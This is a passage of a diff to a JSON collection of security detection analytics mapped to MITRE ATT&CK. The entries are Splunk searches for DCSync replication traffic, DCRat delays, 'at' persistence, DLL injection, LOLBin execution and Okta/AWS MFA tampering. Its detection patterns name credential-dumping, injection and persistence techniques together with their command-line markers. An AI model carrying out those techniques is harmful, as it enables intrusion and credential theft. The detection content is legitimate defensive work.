between domain controllers. Detection of such traffic from other sources may indicate malicious activities like DCSync or DCShadow, which are used for credential dumping. If confirmed malicious, this could allow attackers to exfiltrate sensitive credentials, leading to unauthorized access and potential domain-wide compromise.", - "search": "| tstats `security_content_summariesonly` count values(All_Traffic.transport) as transport values(All_Traffic.user) as user values(All_Traffic.src_category) as src_category values(All_Traffic.dest_category) as dest_category min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Traffic where All_Traffic.app IN (\"ms-dc-replication\",\"*drsr*\",\"ad drs\") by All_Traffic.src All_Traffic.dest All_Traffic.app | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(\"All_Traffic\")` | `windows_ad_replication_service_traffic_filter`", - "tags": { - "analytic_story": [ - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Active Directory Replication Traffic from Unknown Source - $src$", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - }, - { - "mitre_attack_id": "T1003.006", - "mitre_attack_technique": "DCSync", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1207", - "mitre_attack_technique": "Rogue Domain Controller", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1003.006", + "x_mitre_is_subtechnique": true, + "technique": "DCSync", + "tactic": [ + "credential-access" + ], + "platform": [ + "Windows" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "remote code execution traffic" } ], "external_reference": [ @@ -703974,60 +474284,7 @@ "Event ID": null, "Event Name": "API monitoring" } - ], - { - "name": "Windows System Time Discovery W32tm Delay", - "description": "The following analytic identifies the use of the w32tm.exe utility with the /stripchart function, which is indicative of DCRat malware delaying its payload execution. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line arguments used by w32tm.exe. This activity is significant as it may indicate an attempt to evade detection by delaying malicious actions such as C2 communication and beaconing. If confirmed malicious, this behavior could allow an attacker to maintain persistence and execute further malicious activities undetected.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = w32tm.exe Processes.process= \"* /stripchart *\" Processes.process= \"* /computer:localhost *\" Processes.process= \"* /period:*\" Processes.process= \"* /dataonly *\" Processes.process= \"* /samples:*\" by Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_time_discovery_w32tm_delay_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Process name w32tm.exe is using suspcicious command line arguments $process$ on host $dest$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1124", - "mitre_attack_technique": "System Time Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "BRONZE BUTLER", - "Chimera", - "Darkhotel", - "Higaisa", - "Lazarus Group", - "Sidewinder", - "The White Company", - "Turla", - "ZIRCONIUM" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -704594,199 +474851,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Linux At Application Execution", - "description": "The following analytic detects the execution of the \"At\" application in Linux, which can be used by attackers to create persistence entries on a compromised host. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent process names associated with \"at\" or \"atd\". This activity is significant because the \"At\" application can be exploited to maintain unauthorized access or deliver additional malicious payloads. If confirmed malicious, this behavior could lead to data theft, ransomware attacks, or other severe consequences. Immediate investigation is required to determine the legitimacy of the execution and mitigate potential risks.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process_name IN (\"at\", \"atd\") OR Processes.parent_process_name IN (\"at\", \"atd\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_at_application_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "At application was executed in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.002", - "mitre_attack_technique": "At", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "BRONZE BUTLER", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Linux Possible Append Command To At Allow Config File", - "description": "The following analytic detects suspicious command lines that append user entries to /etc/at.allow or /etc/at.deny files. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving these files. This activity is significant because altering these configuration files can allow attackers to schedule tasks with elevated permissions, facilitating persistence on a compromised Linux host. If confirmed malicious, this could enable attackers to execute arbitrary code at scheduled intervals, potentially leading to further system compromise and unauthorized access to sensitive information.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Endpoint.Processes where Processes.process = \"*echo*\" AND Processes.process IN(\"*/etc/at.allow\", \"*/etc/at.deny\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_append_command_to_at_allow_config_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may modify at allow config file in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053.002", - "mitre_attack_technique": "At", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "BRONZE BUTLER", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - } - ] - } - }, - { - "name": "Scheduled Task Creation on Remote Endpoint using At", - "description": "The following analytic detects the creation of scheduled tasks on remote Windows endpoints using the at.exe command. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process creation events involving at.exe with remote command-line arguments. Identifying this activity is significant for a SOC as it may indicate lateral movement or remote code execution attempts by an attacker. If confirmed malicious, this activity could lead to unauthorized access, persistence, or execution of malicious code, potentially resulting in data theft or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=at.exe OR Processes.original_file_name=at.exe) (Processes.process=*\\\\\\\\*) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `scheduled_task_creation_on_remote_endpoint_using_at_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Living Off The Land", - "Scheduled Tasks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A Windows Scheduled Task was created on a remote endpoint from $dest", - "risk_score": 54, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1053", - "mitre_attack_technique": "Scheduled Task/Job", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Earth Lusca" - ] - }, - { - "mitre_attack_id": "T1053.002", - "mitre_attack_technique": "At", - "mitre_attack_tactics": [ - "Execution", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "BRONZE BUTLER", - "Threat Group-3390" - ] - } - ] - } } ], "external_reference": [ @@ -705500,256 +475564,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "Loading Of Dynwrapx Module", - "description": "The following analytic detects the loading of the dynwrapx.dll module, which is associated with the DynamicWrapperX ActiveX component. This detection leverages Sysmon EventCode 7 to identify processes that load or register dynwrapx.dll. This activity is significant because DynamicWrapperX can be used to call Windows API functions in scripts, making it a potential tool for malicious actions. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or maintain persistence on the host. Immediate investigation of parallel processes and registry modifications is recommended.", - "search": "`sysmon` EventCode=7 (ImageLoaded = \"*\\\\dynwrapx.dll\" OR OriginalFileName = \"dynwrapx.dll\" OR Product = \"DynamicWrapperX\") | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded OriginalFileName Product process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `loading_of_dynwrapx_module_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "Remcos" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "dynwrapx.dll loaded by process $process_name$ on $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.001", - "mitre_attack_technique": "Dynamic-link Library Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "BackdoorDiplomacy", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Putter Panda", - "TA505", - "Tropic Trooper", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Process Injection Of Wermgr to Known Browser", - "description": "The following analytic identifies the suspicious remote thread execution of the wermgr.exe process into known browsers such as firefox.exe, chrome.exe, and others. It leverages Sysmon EventCode 8 logs to detect this behavior by monitoring SourceImage and TargetImage fields. This activity is significant because it is indicative of Qakbot malware, which injects malicious code into legitimate processes to steal information. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, and exfiltrate sensitive data from the compromised host.", - "search": "`sysmon` EventCode=8 SourceImage = \"*\\\\wermgr.exe\" TargetImage IN (\"*\\\\firefox.exe\", \"*\\\\chrome.exe\", \"*\\\\iexplore.exe\",\"*\\\\microsoftedgecp.exe\") | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage SourceProcessGuid SourceProcessId StartAddress StartFunction TargetProcessGuid TargetProcessId EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_of_wermgr_to_known_browser_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "wermgr.exe process $SourceImage$ create a remote thread to a browser process $TargetImage$ in host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055.001", - "mitre_attack_technique": "Dynamic-link Library Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "BackdoorDiplomacy", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Putter Panda", - "TA505", - "Tropic Trooper", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Rasautou DLL Execution", - "description": "The following analytic detects the execution of an arbitrary DLL by the Windows Remote Auto Dialer (rasautou.exe). This behavior is identified by analyzing process creation events where rasautou.exe is executed with specific command-line arguments. This activity is significant because it leverages a Living Off The Land Binary (LOLBin) to execute potentially malicious code, bypassing traditional security controls. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, potentially leading to system compromise, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rasautou.exe Processes.process=\"* -d *\"AND Processes.process=\"* -p *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_rasautou_dll_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ attempting to load a DLL in a suspicious manner.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055.001", - "mitre_attack_technique": "Dynamic-link Library Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "BackdoorDiplomacy", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Putter Panda", - "TA505", - "Tropic Trooper", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -709712,919 +479526,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Okta Multi-Factor Authentication Disabled", - "description": "The following analytic identifies an attempt to disable multi-factor authentication (MFA) for an Okta user. It leverages OktaIM2 logs to detect when the 'user.mfa.factor.deactivate' command is executed. This activity is significant because disabling MFA can allow an adversary to maintain persistence within the environment using a compromised valid account. If confirmed malicious, this action could enable attackers to bypass additional security layers, potentially leading to unauthorized access to sensitive information and prolonged undetected presence in the network.", - "search": " | tstats `security_content_summariesonly` count max(_time) as lastTime, min(_time) as firstTime from datamodel=Change where sourcetype=\"OktaIM2:log\" All_Changes.object_category=User AND All_Changes.action=modified All_Changes.command=user.mfa.factor.deactivate by All_Changes.user All_Changes.result All_Changes.command sourcetype All_Changes.src | `drop_dm_object_name(\"All_Changes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "MFA was disabled for User [$user$] initiated by [$src$]. Investigate further to determine if this was authorized.", - "risk_score": 30, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "Okta Phishing Detection with FastPass Origin Check", - "description": "The following analytic identifies failed user authentication attempts in Okta due to FastPass declining a phishing attempt. It leverages Okta logs, specifically looking for events where multi-factor authentication (MFA) fails with the reason \"FastPass declined phishing attempt.\" This activity is significant as it indicates that attackers are targeting users with real-time phishing proxies, attempting to capture credentials. If confirmed malicious, this could lead to unauthorized access to user accounts, potentially compromising sensitive information and furthering lateral movement within the organization.", - "search": "`okta` eventType=\"user.authentication.auth_via_mfa\" AND result=\"FAILURE\" AND outcome.reason=\"FastPass declined phishing attempt\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_phishing_detection_with_fastpass_origin_check_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Okta FastPass has prevented $user$ from authenticating to a malicious site.", - "risk_score": 100, - "security_domain": "access", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - } - ] - } - }, - { - "name": "ASL AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages Amazon Security Lake logs, specifically monitoring for `DeleteVirtualMFADevice` or `DeactivateMFADevice` API operations. This activity is significant as disabling MFA can indicate an adversary attempting to weaken account security to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, potentially leading to unauthorized access to sensitive resources and prolonged compromise.", - "search": "`amazon_security_lake` (api.operation=DeleteVirtualMFADevice OR api.operation=DeactivateMFADevice) | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.uid as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "User $user$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "ASL AWS New MFA Method Registered For User", - "description": "The following analytic identifies the registration of a new Multi-Factor Authentication (MFA) method for an AWS account, as logged through Amazon Security Lake (ASL). It detects this activity by monitoring the `CreateVirtualMFADevice` API operation within ASL logs. This behavior is significant because adversaries who gain unauthorized access to an AWS account may register a new MFA method to maintain persistence. If confirmed malicious, this activity could allow attackers to secure their access, making it harder to detect and remove their presence from the compromised environment.", - "search": " `amazon_security_lake` api.operation=CreateVirtualMFADevice | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new virtual device is added to user $user$", - "risk_score": 64, - "security_domain": "identity", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS Multi-Factor Authentication Disabled", - "description": "The following analytic detects attempts to disable multi-factor authentication (MFA) for an AWS IAM user. It leverages AWS CloudTrail logs to identify events where MFA devices are deleted or deactivated. This activity is significant because disabling MFA can indicate an adversary attempting to weaken account security, potentially to maintain persistence using a compromised account. If confirmed malicious, this action could allow attackers to retain access to the AWS environment without detection, posing a significant risk to the security and integrity of the cloud infrastructure.", - "search": "`cloudtrail` (eventName= DeleteVirtualMFADevice OR eventName=DeactivateMFADevice) | stats count min(_time) as firstTime max(_time) as lastTime by src eventName eventSource aws_account_id userAgent eventID awsRegion user_name userIdentity.arn status | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_multi_factor_authentication_disabled_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation", - "Weaponization" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "aws_account_id", - "type": "Other", - "role": [ - "Victim" - ] - }, - { - "name": "user_name", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "User $user_name$ has disabled Multi-Factor authentication for AWS account $aws_account_id$", - "risk_score": 64, - "security_domain": "threat", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1586", - "mitre_attack_technique": "Compromise Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1586.003", - "mitre_attack_technique": "Cloud Accounts", - "mitre_attack_tactics": [ - "Resource Development" - ], - "mitre_attack_groups": [ - "APT29" - ] - }, - { - "mitre_attack_id": "T1621", - "mitre_attack_technique": "Multi-Factor Authentication Request Generation", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "LAPSUS$", - "Scattered Spider" - ] - }, - { - "mitre_attack_id": "T1556", - "mitre_attack_technique": "Modify Authentication Process", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1556.006", - "mitre_attack_technique": "Multi-Factor Authentication", - "mitre_attack_tactics": [ - "Credential Access", - "Defense Evasion", - "Persistence" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS New MFA Method Registered For User", - "description": "The following analytic detects the registration of a new Multi-Factor Authentication (MFA) method for an AWS account. It leverages AWS CloudTrail logs to identify the `CreateVirtualMFADevice` event. This activity is significant because adversaries who gain unauthorized access to an AWS account may register a new MFA method to maintain persistence. If confirmed malicious, this could allow attackers to secure their access, making it difficult to detect and remove their presence, potentially leading to further unauthorized activities and data breaches.", - "search": " `cloudtrail` eventName=CreateVirtualMFADevice | stats count values(requestParameters.virtualMFADeviceName) as virtualMFADeviceName min(_time) as firstTime max(_time) as lastTime by eventSource aws_account_id errorCode userAgent eventID awsRegion userIdentity.principalId user_arn src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_new_mfa_method_registered_for_user_filter`", - "tags": { - "analytic_story": [ - "AWS Identity and Access Management Account Takeover" - ], - "asset_type": "AWS 